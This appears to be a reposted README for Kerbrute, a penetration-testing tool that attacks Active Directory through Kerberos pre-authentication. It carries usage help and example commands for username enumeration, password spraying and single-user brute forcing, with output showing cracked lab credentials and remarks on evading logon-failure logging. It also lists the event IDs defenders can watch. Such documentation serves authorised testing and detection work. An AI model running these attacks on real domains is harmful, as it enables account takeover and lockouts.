Kerbrute : A Tool to Perform Kerberos Pre-Auth Bruteforcing

Kerbrute is a tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication. Find the latest binaries from the releases page to get started.

This tool grew out of some bash scripts I wrote a few years ago to perform bruteforcing using the Heimdal Kerberos client from Linux.

They wanted something that didn’t require privileges to install a Kerberos client, and when I found the amazing pure Go implementation of Kerberos gokrb5, They decided to finally learn Go and write this.

Bruteforcing Windows passwords with Kerberos is much faster than any other approach I know of, and potentially stealthier since pre-authentication failures do not trigger that “traditional” An account failed to log on event 4625.

With Kerberos, you can validate a username or test a login by only sending one UDP frame to the KDC (Domain Controller).

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Usage

Kerbrute has three main commands:

bruteuser – Bruteforce a single user’s password from a wordlist
passwordspray – Test a single password against a list of users
usernenum – Enumerate valid domain usernames via Kerberos

A domain (-d) or a domain controller (--dc) must be specified. If a Domain Controller is not given the KDC will be looked up via DNS.

By default, Kerbrute is multithreaded and uses 10 threads. This can be changed with the -t option.

Output is logged to stdout, but a log file can be specified with -o.

By default, failures are not logged, but that can be changed with -v.

Lastly, Kerbrute has a --safe option. When this option is enabled, if an account comes back as locked out, it will abort all threads to stop locking out any other accounts.

The help command can be used for more information

$ ./kerbrute
Version: v1.0.0 (43f9ca1) – 03/06/19 – Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
kerbrute [command]

Available Commands:
bruteuser Bruteforce a single user’s password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit

Flags:
–dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
-d, –domain string The full domain to use (e.g. contoso.com)
-h, –help help for kerbrute
-o, –output string File to write logs to. Optional.
–safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, –threads int Threads to use (default 10)
-v, –verbose Log failures and errors

Use “kerbrute [command] –help” for more information about a command.

User Enumeration

To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a PRINCIPAL UNKNOWN error, the username does not exist.

However, if the KDC prompts for pre-authentication, we know the username exists and we move on. This does not cause any login failures so it will not lock out any accounts. This generates a Windows event ID 4768 if Kerberos logging is enabled.

root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

Version: dev (43f9ca1) – 03/06/19 – Ronnie Flathers @ropnop

2019/03/06 21:28:04 > Using KDC(s):
2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88

2019/03/06 21:28:04 > [+] VALID USERNAME: amata@lab.ropnop.com
2019/03/06 21:28:04 > [+] VALID USERNAME: thoffman@lab.ropnop.com
2019/03/06 21:28:04 > Done! Tested 1001 usernames (2 valid) in 0.425 seconds

Password Spray

With passwordwpray, Kerbrute will perform a horizontal brute force attack against a list of domain users. This is useful for testing one or two common passwords when you have a large list of users.

WARNING: this does will increment the failed login count and lock out accounts. This will generate both event IDs 4768 – A Kerberos authentication ticket (TGT) was requested and 4771 – Kerberos pre-authentication failed

root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

Version: dev (43f9ca1) – 03/06/19 – Ronnie Flathers @ropnop

2019/03/06 21:37:29 > Using KDC(s):
2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88

2019/03/06 21:37:35 > [+] VALID LOGIN: callen@lab.ropnop.com:Password123
2019/03/06 21:37:37 > [+] VALID LOGIN: eshort@lab.ropnop.com:Password123
2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds

Brute User

This is a traditional bruteforce account against a username. Only run this if you are sure there is no lockout policy!

This will generate both event IDs 4768 – A Kerberos authentication ticket (TGT) was requested and 4771 – Kerberos pre-authentication failed

root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

Version: dev (43f9ca1) – 03/06/19 – Ronnie Flathers @ropnop

2019/03/06 21:38:24 > Using KDC(s):
2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88

2019/03/06 21:38:27 > [+] VALID LOGIN: thoffman@lab.ropnop.com:Summer2017
2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds

Installing

You can download pre-compiled binaries for Linux, Windows and Mac from the releases page. If you want to live on the edge, you can also install with Go:

$ go get github.com/ropnop/kerbrute
With the repository cloned, you can also use the Make file to compile for common architectures:

$ make help
help: Show this help.
windows: Make Windows x86 and x64 Binaries
linux: Make Linux x86 and x64 Binaries
mac: Make Darwin (Mac) x86 and x64 Binaries
clean: Delete any binaries
all: Make Windows, Linux and Mac x86/x64 Binaries

$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64…
Building for linux 386…
Done.
Building for mac amd64…
Building for mac 386…
Done.

$ ls dist/
kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe
kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe